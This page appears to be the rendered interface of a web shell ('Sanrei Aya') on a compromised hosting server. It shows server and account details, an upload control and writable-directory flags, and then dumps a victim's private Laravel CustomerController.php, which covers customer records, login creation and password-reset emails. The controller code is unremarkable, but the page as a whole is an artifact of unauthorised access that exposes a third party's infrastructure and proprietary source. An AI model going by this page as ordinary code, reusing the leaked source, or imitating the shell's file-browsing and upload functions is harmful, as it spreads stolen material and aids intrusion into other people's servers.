Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/app/Http/Controllers/Master/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/app/Http/Controllers/Master/CustomerController.php
<?php

namespace App\Http\Controllers\Master;

use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Request;
use Illuminate\Http\Request as HttpRequest;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\DB;
use App\Models\Master\Tenant;
use App\Models\Master\Customer;
use Illuminate\Support\Facades\Auth;
use App\Models\User;
use App\Models\Model_Has_Role;
use Spatie\Permission\Models\Role as SpatieRole;
use App\Models\Model_Has_Permission;
use Spatie\Permission\Models\Permission as SpatiePermission;
use Carbon\Carbon;
use Illuminate\Support\Str;
use Illuminate\Validation\Rule;

class CustomerController extends Controller
{
    private function call_sendMail()
    {
        return "App\Http\Controllers\Mail\Customer\CustomerLoginMailController";
    }

    private function create_login($customer, HttpRequest $request) {
        try {
            $password = Str::password(8);
            // check exists user
            $user = User::where('model_type', '=', 'App\Models\Master\Customer')->where('model_id', '=', $customer->id)->first();
            if (Request::get('is_password')) {
                if ($user) {
                    $user->update([
                        'name' => $customer->name,
                        'email' => $customer->email,
                        'password' => $password,
                    ]);
                } else {
                    $user = User::create([
                        'name' => $customer->name,
                        'email' => $customer->email,
                        'password' => $password,
                        'email_verified_at' => Carbon::now(),
                        'model_type' => 'App\Models\Master\Customer',
                        'model_id' => $customer->id,
                        'is_active' => Request::get('is_active') != null ? 1: 0,
                    ]);
            
                    // set role
                    $role = SpatieRole::where('name', '=', 'user')->first();
                    if ($role) {
                        Model_Has_Role::create([
                            'role_id' => $role->id,
                            'model_type' => 'App\Models\User',
                            'model_id' => $user->id,
                        ]);
                    }
            
                    // set permissions
                    $permission = SpatiePermission::whereIn('name', ['pmm_guest_dashboard_dashboard_view', 'pmm_guest_dashboard_dashboard_print'])->get();
                    foreach ($permission as $key => $value) {
                        Model_Has_Permission::create([
                            'permission_id' => $value->id,
                            'model_type' => 'App\Models\User',
                            'model_id' => $user->id,
                        ]);
                    }
                }
    
                DB::commit();
                // send mail
                app($this->call_sendMail())->send($customer, $password);
            } else {
                if ($user) {
                    $user->update([
                        'name' => $customer->name,
                        'email' => $customer->email,
                    ]);

                    DB::commit();
                }
            }
        } catch (\Exception $e) {
            return redirect()->route('master.customers.index')->with('message', 'error create login');
        }
    }
    /**
     * Display a listing of the resource.
     */
    public function index()
    {
        $breadcrumbs = [
            ['link' => "dashboard", 'name' => "Dashboard"], ['link' => "master.customers.index", 'name' => "Customers"]
        ];

        $data_input = [
            'tenant_id' => Request::input('tenant_id'),
        ];

        $query = Customer::with('tenant');
        $tenant = Auth::user()->load('model');

        if ($tenant->model_type == 'App\Models\Master\Tenant') {
            $tenant = Tenant::where('id', '=', Auth::user()->model_id)->orderBy('name', 'asc')->get();
            $query = $query->whereRelation('tenant', 'id', '=', Auth::user()->model_id)->orderBy('tenant_id', 'asc')->orderBy('name', 'asc')->get();
        } else if ($tenant->model_type == 'App\Models\Bussiness') {
            $tenant = Tenant::orderBy('name', 'asc')->get();
            if ($data_input['tenant_id'] == 0) {
                $query = $query->orderBy('tenant_id', 'asc')->orderBy('name', 'asc')->get();
            } else {
                $query = $query->whereRelation('tenant', 'id', '=', $data_input['tenant_id'])->orderBy('tenant_id', 'asc')->orderBy('name', 'asc')->get();
            }
        }

        return view('content.master.customers.index', compact('query', 'tenant', 'data_input'), ['breadcrumbs' => $breadcrumbs]);
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create()
    {
        $breadcrumbs = [
            ['link' => "dashboard", 'name' => "Dashboard"], ['link' => "master.customers.index", 'name' => "Customers"], ['link' => "master.customers.create", 'name' => "Create Customer"]
        ];

        $tenant = Auth::user()->load('model');
        if ($tenant->model_type == 'App\Models\Master\Tenant') {
            $tenant = Tenant::where('id', '=', Auth::user()->model_id)->orderBy('name', 'asc')->get();
        } else if ($tenant->model_type == 'App\Models\Bussiness') {
            $tenant = Tenant::orderBy('name', 'asc')->get();
        }

        return view('content.master.customers.create', compact('tenant'), ['breadcrumbs' => $breadcrumbs]);
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(HttpRequest $request)
    {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != Request::get('tenant_id')) {
            return redirect()->route('master.customers.create')->withInput()->with('message', 'system blocked, wrong id');
        }

        $validator = Validator::make(Request::all(), [
            'name' => ['required', 'string', 'max:100'],
            'phone' => ['required', 'string', 'lowercase', 'max:50'],
            'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:'.Customer::class],
        ]);

        if ($validator->fails()) {
            return redirect()->route('master.customers.create')->withErrors($validator)->withInput()->with('message', 'input failed');
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_customer'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);
            } else {
                $image = null;
            }
            
            $customer = Customer::create([
                'name' => Request::get('name'),
                'address' => Request::get('address'),
                'email' => Request::get('email'),
                'phone' => Request::get('phone'),
                'map' => Request::get('map'),
                'image' => $image,
                'description' => Request::get('description'),
                'tenant_id' => Request::get('tenant_id'),
                'is_active' => Request::get('is_active') != null ? 1: 0,
            ]);
    
            DB::commit();

            // create login ******************
            $user = User::where('model_type', '=', 'App\Models\Master\Customer')->where('model_id', '=', $customer->id)->first();
            if (Request::get('is_password')) {
                if ($user) {
                    $validator = Validator::make(Request::all(), [
                        'name' => ['required', 'string', 'max:100'],
                        'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique(User::class)->ignore($user->id)],
                    ]);
                } else {
                    $validator = Validator::make(Request::all(), [
                        'name' => ['required', 'string', 'max:100'],
                        'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:'.User::class],
                    ]);
                }
        
                if ($validator->fails()) {
                    return redirect()->route('master.customers.index')->with('message', 'error create login, email already exists');
                }
            } else {
                if ($user) {
                    $validator = Validator::make(Request::all(), [
                        'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique(User::class)->ignore($user->id)],
                    ]);
            
                    if ($validator->fails()) {
                        return redirect()->route('master.customers.index')->with('message', 'update email failed, email already exists');
                    }
                }
            }

            $this->create_login($customer, $request);
            return redirect()->route('master.customers.index')->with('message', 'store success');
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_customer') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_customer') . '/' . $image);
            }

            return redirect()->route('master.customers.create')->withErrors($validator)->withInput()->with('message', 'store error');
        }
    }

    /**
     * Display the specified resource.
     */
    public function show(string $id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(Customer $customer)
    {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $customer->tenant_id) {
            return redirect()->route('master.customers.index')->with('message', 'system blocked, wrong id');
        }

        $breadcrumbs = [
            ['link' => "dashboard", 'name' => "Dashboard"], ['link' => "master.customers.index", 'name' => "Customers"], ['link' => "master/customers/edit/$customer->id", 'name' => "Edit Customer"]
        ];

        $query = [
            'id' => $customer->id,
            'name' => $customer->name,
            'address' => $customer->address,
            'email' => $customer->email,
            'phone' => $customer->phone,
            'map' => $customer->map,
            'image' => $customer->image,
            'description' => $customer->description,
            'tenant_id' => $customer->load('tenant'),
            'is_active' => $customer->is_active,
            'updated_at' => $customer->updated_at,
        ];

        $tenant = Auth::user()->load('model');
        if ($tenant->model_type == 'App\Models\Master\Tenant') {
            $tenant = Tenant::where('id', '=', Auth::user()->model_id)->orderBy('name', 'asc')->get();
        } else if ($tenant->model_type == 'App\Models\Bussiness') {
            $tenant = Tenant::orderBy('name', 'asc')->get();
        }

        return view('content.master.customers.edit', compact('query', 'tenant'), ['breadcrumbs' => $breadcrumbs]);
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(HttpRequest $request, Customer $customer)
    {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $customer->tenant_id) {
            return redirect()->route('master.customers.edit', $customer->id)->with('message', 'system blocked, wrong id');
        }

        $validator = Validator::make(Request::all(), [
            'name' => ['required', 'string', 'max:100'],
            'phone' => ['required', 'string', 'lowercase', 'max:50'],
            'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique(Customer::class)->ignore($customer->id)],
        ]);

        if ($validator->fails()) {
            return redirect()->route('master.customers.edit', $customer->id)->withErrors($validator)->withInput()->with('message', 'input failed');
        }

        // update login
        $user = User::where('model_type', '=', 'App\Models\Master\Customer')->where('model_id', '=', $customer->id)->first();
        if (Request::get('is_password')) {
            $validator = Validator::make(Request::all(), [
                'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique(User::class)->ignore($user->id)],
            ]);
    
            if ($validator->fails()) {
                return redirect()->route('master.customers.index')->with('message', 'error create login, email already exists');
            }
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_customer'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);

                // remove image for replace new image
                $iimage = $customer->image;
                $exists = Storage::disk('public')->exists(config('app.dir_file_customer') . '/'. $iimage);
                if ($exists) {
                    Storage::disk('public')->delete(config('app.dir_file_customer') . '/' . $iimage);
                }
            } else {
                $image = null;
            }

            $customer->update([
                'name' => Request::get('name'),
                'address' => Request::get('address'),
                'email' => Request::get('email'),
                'phone' => Request::get('phone'),
                'map' => Request::get('map'),
                'image' => $image == null ? $customer->image : $image,
                'description' => Request::get('description'),
                'tenant_id' => Request::get('tenant_id'),
                'is_active' => Request::get('is_active') != null ? 1: 0,
            ]);
    
            DB::commit();

            // create login ******************
            $user = User::where('model_type', '=', 'App\Models\Master\Customer')->where('model_id', '=', $customer->id)->first();
            if (Request::get('is_password')) {
                if ($user) {
                    $validator = Validator::make(Request::all(), [
                        'name' => ['required', 'string', 'max:100'],
                        'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique(User::class)->ignore($user->id)],
                    ]);
                } else {
                    $validator = Validator::make(Request::all(), [
                        'name' => ['required', 'string', 'max:100'],
                        'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:'.User::class],
                    ]);
                }
        
                if ($validator->fails()) {
                    return redirect()->route('master.customers.index')->with('message', 'error create login, email already exists');
                }
            } else {
                if ($user) {
                    $validator = Validator::make(Request::all(), [
                        'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique(User::class)->ignore($user->id)],
                    ]);
            
                    if ($validator->fails()) {
                        return redirect()->route('master.customers.index')->with('message', 'update email failed, email already exists');
                    }
                }
            }

            $this->create_login($customer, $request);
            return redirect()->route('master.customers.index')->with('message', 'update success');
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_customer') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_customer') . '/' . $image);
            }

            return redirect()->route('master.customers.edit', $customer->id)->withErrors($validator)->withInput()->with('message', 'update error');
        }
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(Customer $customer)
    {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $customer->tenant_id) {
            return redirect()->route('master.customers.index')->with('message', 'system blocked, wrong id');
        }
        
        // remove image for replace new image
        $exists = Storage::disk('public')->exists(config('app.dir_file_customer') . '/'. $customer->image);
        if ($exists) {
            Storage::disk('public')->delete(config('app.dir_file_customer') . '/' . $customer->image);
        }

        $customer->delete();
        return redirect()->route('master.customers.index')->with('message', 'delete success');
    }

    /**
     * update password & send mail.
     */
    public function update_password(Customer $customer)
    {
        try {
            $password = Str::password(8);
            $user = User::where('model_type', '=', 'App\Models\Master\Customer')->where('model_id', '=', $customer->id)->first();
            if ($user) {
                $user->update([
                    'name' => $customer->name,
                    'password' => $password,
                ]);

                DB::commit();
                // send mail
                app($this->call_sendMail())->send($customer, $password);
                return redirect()->route('master.customers.index')->with('message', 'update success');
            } else {
                //check mail
                if ($customer->email == null || $customer->email == '') {
                    return redirect()->route('master.customers.index')->with('message', 'update password failed, email not found');
                } else {
                    $user = User::where('email', '=', $customer->email)->first();
                    if ($user) {
                        return redirect()->route('master.customers.index')->with('message', 'update password failed, email already exists');
                    }
                }

                $user = User::create([
                    'name' => $customer->name,
                    'email' => $customer->email,
                    'password' => $password,
                    'email_verified_at' => Carbon::now(),
                    'model_type' => 'App\Models\Master\Customer',
                    'model_id' => $customer->id,
                    'is_active' => $customer->is_active,
                ]);
        
                // set role
                $role = SpatieRole::where('name', '=', 'user')->first();
                if ($role) {
                    Model_Has_Role::create([
                        'role_id' => $role->id,
                        'model_type' => 'App\Models\User',
                        'model_id' => $user->id,
                    ]);
                }
        
                // set permissions
                $permission = SpatiePermission::whereIn('name',['pmm_guest_dashboard_dashboard_view', 'pmm_guest_dashboard_dashboard_print'])->get();
                foreach ($permission as $key => $value) {
                    Model_Has_Permission::create([
                        'permission_id' => $value->id,
                        'model_type' => 'App\Models\User',
                        'model_id' => $user->id,
                    ]);
                }

                DB::commit();
                // send mail
                app($this->call_sendMail())->send($customer, $password);
                return redirect()->route('master.customers.index')->with('message', 'store success');
            }
        } catch (\Exception $e) {
            return redirect()->route('master.customers.index')->with('message', 'update failed');
        }
    }
}

Yohohohohohooho | Sanrei Aya